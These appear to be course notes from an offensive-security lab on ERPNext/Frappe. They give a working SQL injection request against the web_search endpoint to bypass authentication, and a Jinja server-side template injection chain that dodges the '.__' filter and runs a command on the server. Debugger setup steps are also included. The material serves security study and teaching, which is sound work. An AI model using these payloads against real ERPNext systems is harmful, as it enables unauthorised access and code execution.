SSTI Payload
5.5. Discovering SSTI
-
Identifying the Rendering Function:
# /home/frappe/frappe-bench/apps/frappe/frappe/utils/jinja.py def render_template(template, context, is_path=None, safe_render=True): from frappe import get_traceback, throw from jinja2 import TemplateError if not template: return "" if (is_path or template.startswith("templates/") or (template.endswith('.html') and '\n' not in template)): return get_jenv().get_template(template).render(context) else: if safe_render and ".__" in template: throw("Illegal template") try: return get_jenv().from_string(template).render(context) except TemplateError: throw(title="Jinja Template Error", msg="<pre>{template}</pre><pre>{tb}</pre>".format(template=template, tb=get_traceback()))
-
Bypassing SSTI Filters:
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {% set subclasses_r = mro_r[1]|attr(subclasses)() %} {{ subclasses_r }}
5.6. Exploiting SSTI
-
Discovering Remote Command Execution Method:
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {% set subclasses_r = mro_r[1]|attr(subclasses)() %} {{ subclasses_r[420] }}
-
Gaining Remote Command Execution:
{% set string = "ssti" %} {% set class = "__class__" %} {% set mro = "__mro__" %} {% set subclasses = "__subclasses__" %} {% set mro_r = string|attr(class)|attr(mro) %} {% set subclasses_r = mro_r[1]|attr(subclasses)() %} {{ subclasses_r[420](["/usr/bin/touch","/tmp/das-ist-walter"]) }}
frappe@ubuntu:~$ ls -lh /tmp/das-ist-walter -rw-rw-r-- 1 frappe frappe 0 Jan 11 10:31 das-ist-walter
Summary
- SQL Injection: Found by searching for SQL queries in functions exposed to unauthenticated users. Exploited to bypass authentication.
- SSTI: Discovered by testing template rendering functionality and bypassing input filters. Exploited to achieve remote code execution.
---
### Chapter Summary
In this chapter, you should learn how to:
1. **Identify and exploit SQL Injection vulnerabilities**: Understand how to discover and exploit SQL Injection to bypass authentication and gain access to sensitive areas of the application.
2. **Discover and exploit Server-Side Template Injection (SSTI)**: Learn how to identify SSTI vulnerabilities, bypass filters, and execute arbitrary code on the server.
3. **Configure debugging environments**: Set up remote debugging for the ERPNext application using Visual Studio Code to facilitate vulnerability discovery and exploitation.
4. **Understand MVC and Metadata-driven design patterns**: Grasp the concepts of MVC and Metadata-driven patterns in the context of web applications like ERPNext.
5. **Navigate HTTP routing and whitelisted functions**: Learn how HTTP routing is implemented in Frappe/ERPNext and how to identify whitelisted functions that can be exploited.
6. **Handle MariaDB query logging**: Configure MariaDB to log queries, aiding in the identification of SQL injection points.
Here's a summary of the important points with code snippets and mermaid diagrams:
### Code Snippets
#### SQL Injection
**SQL Injection Payload:**
```http
POST /api/method/frappe.utils.global_search.web_search HTTP/1.1
Host: erpnext:8000
Content-Type: application/x-www-form-urlencoded
cmd=frappe.utils.global_search.web_search&text=offsec&scope=offsec_scope" UNION ALL SELECT 1,2,3,4,5#
SQL Injection Query:
SELECT `doctype`, `name`, `content`, `title`, `route`
FROM `__global_search`
WHERE `published` = 1 AND `route` like "offsec_scope" UNION ALL SELECT 1,2,3,4,5#%" AND MATCH(`content`) AGAINST ('\"offsec\"' IN BOOLEAN MODE)
LIMIT 20 OFFSET 0
SSTI Exploitation
SSTI Filter Bypass:
{% set string = "ssti" %}
{% set class = "__class__" %}
{% set mro = "__mro__" %}
{% set subclasses = "__subclasses__" %}
{% set mro_r = string|attr(class)|attr(mro) %}
{% set subclasses_r = mro_r[1]|attr(subclasses)() %}
{{ subclasses_r[420](["/usr/bin/touch","/tmp/das-ist-walter"]) }}
Setting Up Remote Debugging
Installing ptvsd:
frappe@ubuntu:~$ /home/frappe/frappe-bench/env/bin/pip install ptvsd
Editing Procfile:
frappe@ubuntu:~$ cat /home/frappe/frappe-bench/Procfile
#web: bench serve --port 8000
Enabling Debugger in app.py:
import ptvsd
ptvsd.enable_attach(redirect_output=True)
print("Now ready for the IDE to connect to the debugger")
ptvsd.wait_for_attach()